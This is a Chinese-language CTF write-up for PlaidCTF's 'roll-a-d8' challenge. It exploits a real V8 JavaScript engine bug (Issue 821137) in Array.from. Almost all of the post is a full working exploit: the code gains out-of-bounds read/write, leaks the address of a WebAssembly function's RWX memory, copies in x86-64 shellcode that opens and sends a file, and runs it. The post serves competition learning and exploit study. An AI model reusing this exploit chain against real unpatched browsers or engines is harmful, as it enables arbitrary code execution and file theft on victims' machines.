pwn· 更新于 2025-03-14

PlaidCTF-roll-a-d8

PlaidCTF-roll-a-d8

该漏洞是一个真实的漏洞Issue 821137

首先是利用 POC 造溢出,然后通过 Function–>shared_info->code->wasm function 去读 rwx 段地址

最后写 shellcode 执行

debug 编译出来的,数组溢出会有些小问题,最终还是得 release

gc 回收后,多个数组间的距离也会拉的很近,相对来说方便任意读写一点

exp

const buf = new ArrayBuffer(8);
const dv = new DataView(buf);

var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new Uint32Array(raw_buf);

function p64() {
    if (arguments.length === 1) {
        l_buf[0] = Number(arguments[0] & (0xFFFFFFFF));
        l_buf[1] = parseInt((arguments[0] - l_buf[0]) / 0x100000000);
        return d_buf[0];
    } else if (arguments.length === 2) {
        l_buf[0] = arguments[0];
        l_buf[1] = arguments[1];
        return d_buf[0];
    }
}

function u64(val) {
    d_buf[0] = val;
    return l_buf[1] * 0x100000000 + l_buf[0];
}

function u64_l(val) {
    d_buf[0] = val;
    return l_buf[0];
}

function u64_h(val) {
    d_buf[0] = val;
    return l_buf[1];
}

function gc() {
    log("gc");
    for (let i = 0; i < 0x10; i++) {
        new Array(0x1000000);
    }
}

function hex(x) {
    return x.toString(16);
}

function printhex() {
    if (arguments.length === 1) {
        console.log(`\u001b[32m[+]Hex: \u001b[0m0x${arguments[0].toString(16)}`);
    } else if (arguments.length === 2) {
        console.log(`\u001b[32m[+]${arguments[0]}: \u001b[0m0x${arguments[1].toString(16)}`);
    }
}

function log() {
    output = `\u001b[32m[+]${arguments[0]}\u001b[0m`;
    for (let i = 1; i < arguments.length; i++) {
        output += arguments[i];
    }
    console.log(output);
}

function warn() {
    output = `\u001b[31m[+]${arguments[0]}\u001b[0m`;
    for (let i = 1; i < arguments.length; i++) {
        output += arguments[i];
    }
    console.log(output);
}

function farrdump(float_arr, start, end) {
    for (let i = start; i < end; i++) {
        printhex(`arr[${i}]`, u64(float_arr[i]));
    }
}

function iarrdump(int_arr, start, end) {
    for (let i = start; i < end; i++) {
        printhex(`arr[${i}]`, int_arr[i]);
    }
}

var arrayBuffer = new ArrayBuffer(0x1000);

const shellcode = new Uint8Array([0x48, 0xb8, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x1, 0x50, 0x48, 0xb8, 0x2e, 0x67, 0x6d, 0x60, 0x66, 0x1, 0x1, 0x1, 0x48, 0x31, 0x4, 0x24, 0x6a, 0x2, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x99, 0xf, 0x5, 0x41, 0xba, 0xff, 0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x1, 0x5f, 0x99, 0xf, 0x5]);
// open sendfile

const wasmCode = new Uint8Array([0x00, 0x61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7F, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x02, 0x00, 0x04, 0x6D, 0x61, 0x69, 0x6E, 0x00, 0x00, 0x0A, 0x8A, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2A, 0x0B]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var oobArray = [1.1, 2.2];
var obj = [];
var data_buf = [];
var maxSize = 1024 * 8;

Array.from.call(function () { return oobArray }, {
    [Symbol.iterator]: _ => (
        {
            counter: 0,
            next() {
                let result = this.counter++;
                if (this.counter > maxSize) {
                    oobArray.length = 1;
                    oobArray[0] = 3.3;
                    data_buf.push(new ArrayBuffer(0x100));
                    let o = { mark: 1111222233334444, obj: func };
                    obj.push(o);

                    return { done: true };
                } else {
                    return { value: result, done: false };
                }
            }
        }
    )
});

gc();

log("oobArray");
% DebugPrint(oobArray);
log("func");
% DebugPrint(func);
log("arrayBuffer");
% DebugPrint(arrayBuffer);
log("data_buf");
% DebugPrint(data_buf);
log("obj");
% DebugPrint(obj);
// % SystemBreak();

farrdump(oobArray, 0, 0x10);

heap = u64(oobArray[5]);
obj_element = u64(oobArray[0x2f]);

printhex("heap", heap);
printhex("obj_element", obj_element);

oobArray[5] = p64(obj_element - 1);
log("data_buf[0]");
% DebugPrint(data_buf[0]);

var float_arr1 = new Float64Array(data_buf[0]);

var func_addr = u64(float_arr1[4]);
printhex("func_addr", func_addr);

oobArray[5] = p64(func_addr - 1);
var float_arr2 = new Float64Array(data_buf[0]);

var code_addr = u64(float_arr2[6]);
printhex("code_addr", code_addr);

oobArray[5] = p64(code_addr + 0x71);
var float_arr3 = new Float64Array(data_buf[0]);

var rwx_addr = u64(float_arr3[0]);
printhex("rwx_addr", rwx_addr);

oobArray[5] = p64(rwx_addr);
var shellcode_arr = new Uint8Array(data_buf[0]);
for (let i = 0; i < shellcode.length; i++) {
    shellcode_arr[i] = shellcode[i];
}

% SystemBreak();

func();
评论
NETEASE歌单
未选择曲目
0:000:00